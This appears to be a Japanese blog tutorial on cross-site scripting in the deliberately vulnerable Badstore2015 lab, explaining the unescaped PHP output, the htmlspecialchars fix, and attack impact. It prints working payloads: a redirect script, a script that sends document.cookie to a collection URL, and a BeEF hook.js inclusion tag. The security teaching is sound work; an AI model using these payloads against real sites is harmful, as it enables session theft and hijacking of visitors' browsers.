Bugfix Backend を攻撃してみた(XSS編)
全体の概要と注意事項は以下の記事で説明しているので、必ず目を通して欲しい。otameshi61.hatenablog.com
XSS
HTML生成の部分で問題があると、Cross-site scripting(XSS)という脆弱性が起こる。XSSを利用した攻撃の一つとして、JavaScriptをサイトに埋め込むことができる。
原因
ユーザーから受け取った文字列をサニタイジング(無害化)を行っていないことが原因である。特に、HTMLの特殊文字のサニタイジングの方法としてはHTMLのエスケープがある。e-words.jp
HTMLのエスケープを行わずにユーザーからの入力を出力を行う箇所が存在した場合、XSSの攻撃が可能となる場合がある。
Badstore2015では、doguestbook.phpの以下の部分
<?php echo $row['comment']; ?>
において、ユーザーから受け取った文字列をそのまま出力している。この時にユーザーが
と入力を行うと、出力部では、このようにimageタグが埋め込まれた表示になる。
ページのソースをみると
となり、タグがそのまま入力されていることが分かる。
対策
PHPでは、htmlspecialcharsという関数でHTMLのエスケープを行うことができる。
http://php.net/htmlspecialchars
<?php echo htmlspecialchars($row['comment'],ENT_COMPAT,'UTF-8'); ?>
HTMLのエスケープを行った後の表示はこのようになる。
ページのソースはこのようになる。
< が & lt; となっており、特殊記号が実体参照に変換されていて、HTMLのエスケープが正しく行われていることがわかる。
しかし、HTMLのエスケープだけではサニタイズが不十分な場合がある。そのような例は、後ほど紹介する。
被害
上記ではimageタグの埋め込みという無害な例を示した。XSSの攻撃では、scriptタグの埋め込みによるブラウザ上での攻撃がなされる。
JavaScriptの攻撃では、リダイレクトやcookieの盗み出しなどがある。JavaScriptがほとんど書けない人でも様々な攻撃を容易にするフレームワークとしてBeEFが存在する。
順に説明していく。
リダイレクト
リダイレクトは、
<script>window.location = "http://localhost/hoge.php";</script>
を埋め込むことで、このページにアクセスしてきた相手をhttp://localhost/hoge.php に飛ばすことができる。
攻撃者としては、フィッシングサイトやマルウェアの配布サイトやアフィリエイト稼ぎのサイトに飛ばすことができる。
cookieの盗み出し
cookieの盗み出し
被害者のセッションIDを盗んで相手のセッションを奪う攻撃に利用される。JavaScriptからCookieを送信するコードを書いても良いが、たとえば
<script>window.location = "http://localhost/hoge.php?cookie="+document.cookie;</script>
と書き込めばクッキー情報をつけたままアクセスが行われる。取集用のスクリプトを用意しても良いし、アクセスログからもクッキー情報を抜くことができる。
BeEF
XSSの攻撃を容易するために、BeEFというフレームワークがある。この他にもMetasploit のxssfというフレームワークが有名である。
これらのフレームワークでは、攻撃スクリプトを読み込むことでブラウザの攻撃を行う。
以下のようなBeEFの実行画面
攻撃スクリプトの読み込みは、画像のHook URLを読み込むようにすればよい。
<script src='http://127.0.0.1:3000/hook.js'></script>
このタグを埋め込まれたページを踏んだユーザーを管理と攻撃を行う管理画面は以下のようになっている。
JavaScriptをあまり知らないひとでも簡単に相手の情報を盗み、web カメラを起動したり、ブラウザで音をならしたり、フィッシングサイトに招いたりすることが、GUIを利用してぽちぽちボタンを押してるだけで出来る。
発展的な内容
HTMLのエスケープでは、サニタイズとして不十分な例を示す。
"メッセージを残す"では、URLを指定しpageにリンクを埋め込むことができる。
作成者の想定通りの利用法
- 入力
- 表示
- ページのソース
JavaScriptはa要素のhref属性の属性値として、javascript:JavaScript式という形式でJavaScriptを起動することができる。
以下のようにすることで、HTMLのエスケープを回避してJavaScriptを埋め込むことができる。
まとめ
Badstore2015において発生するXSSの問題について簡単に触れた。